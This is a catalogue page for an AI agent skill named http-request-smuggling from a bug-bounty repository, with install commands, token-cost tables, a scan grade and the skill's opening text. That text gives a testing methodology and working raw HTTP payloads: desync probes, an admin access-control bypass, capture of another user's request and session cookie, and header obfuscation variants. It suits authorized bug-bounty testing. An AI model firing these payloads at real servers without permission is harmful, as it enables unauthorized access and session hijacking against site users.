Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill http-request-smugglinggit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/http-request-smuggling)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/http-request-smuggling"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/http-request-smuggling/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/http-request-smuggling"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/http-request-smuggling.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00100 | $0.01643 |
| Opus 5 | $0.00050 | $0.00822 |
| Sonnet 5 | $0.00020 | $0.00329 |
| Haiku 4.5 | $0.00010 | $0.00164 |
Grade A, and why
http-request-smuggling scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 148 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HTTP Request Smuggling
What Is Broken and Why
HTTP request smuggling arises from ambiguity in how HTTP/1.1 allows both Content-Length and Transfer-Encoding headers simultaneously. When a front-end proxy and back-end server disagree on which header takes precedence, an attacker can craft a request whose body is interpreted differently by each hop. The "leftover" bytes from one request are prepended to the next user's request, allowing attackers to poison the request pipeline, bypass security controls, hijack sessions, and perform reflected XSS without user interaction.
Key Signals
- Application sits behind a reverse proxy, load balancer, or CDN
- Delayed response to a crafted request with conflicting length headers (timing-based detection)
- Different HTTP response when
Transfer-Encoding: chunkedandContent-Lengthheaders are both present 400 Bad Requestor500from back-end on specific header combinations- Burp's HTTP Request Smuggler extension flagging the endpoint
- Front-end rewrites or strips certain headers (evidence in
X-Forwarded-*reflection)
Methodology
- Identify endpoints that pass through a proxy/CDN layer.
- Send a CL.TE detection probe: include both
Content-LengthandTransfer-Encoding: chunkedwith conflicting values; observe timing and response differences. - Send a TE.CL detection probe:
Transfer-Encodingterminates the body early,Content-Lengthextends it. - Confirm vulnerability with a harmless poisoning request that prepends a known prefix to the next request.
- Escalate based on what prefix is prepended (bypass access controls, capture requests, perform SSRF, etc.).
- Use Burp's HTTP Request Smuggler extension to automate detection across all methods.
Payloads & Tools
# CL.TE probe (front-end uses Content-Length, back-end uses Transfer-Encoding)
# Send with Content-Length: 6 but chunked body terminator at byte 3
POST / HTTP/1.1
Host: TARGET
Content-Length: 6
Transfer-Encoding: chunked
3
abc
0
# TE.CL probe (front-end uses Transfer-Encoding, back-end uses Content-Length)
POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# Access control bypass — smuggle request to restricted endpoint
POST / HTTP/1.1
Host: TARGET
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
# Capture next user's request (poison with open POST)
POST / HTTP/1.1
Host: TARGET
Content-Length: 198
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: TARGET
Content-Length: 400
Cookie: session=TOKEN
csrf=TOKEN2&postId=5&name=carlos&email=foo%40bar.com&comment=
# Burp Suite HTTP Request Smuggler extension
# Extensions -> HTTP Request Smuggler -> Smuggle Probe
# Run against target host to auto-detect CL.TE, TE.CL, TE.TE variants
# TE.TE obfuscation variants to bypass front-end normalization
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
Transfer-Encoding: chunked
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
: chunked
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 148 lines · 100 tokens per session scan A 6cd6556b361b
http-request-smuggling is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 100 tokens to every session and 1,643 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
bugcrowd-reporting
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints…
skill-context-detection
Auto-detect work context (Dev vs Knowledge) — use to tailor workflows based on current task type.
skill-copilot-provider
GitHub Copilot CLI as optional zero-cost provider via copilot -p programmatic mode.
supabase
Supabase / PostgREST Row-Level-Security playbook — pull the anon (or leaked servicerole) key out of the frontend JS, map tables from the auto-generated OpenAPI spec, test anonymous RLS READ disclosures (PII/secret leaks), and anonymous RLS WRITE abuse (insert/update/delete — e.g. forging…
skill-security-framing
URL validation and content sanitization for untrusted sources — use when handling external input safely.
race
Race condition / TOCTOU playbook — limit overrun (one-time codes used twice, gift cards spent twice), single-packet attack (last-byte sync) to force parallel processing, and state-confusion races (file upload + read, order before payment). Use when timing-sensitive logic could be abused — one-time codes, coupons/gift…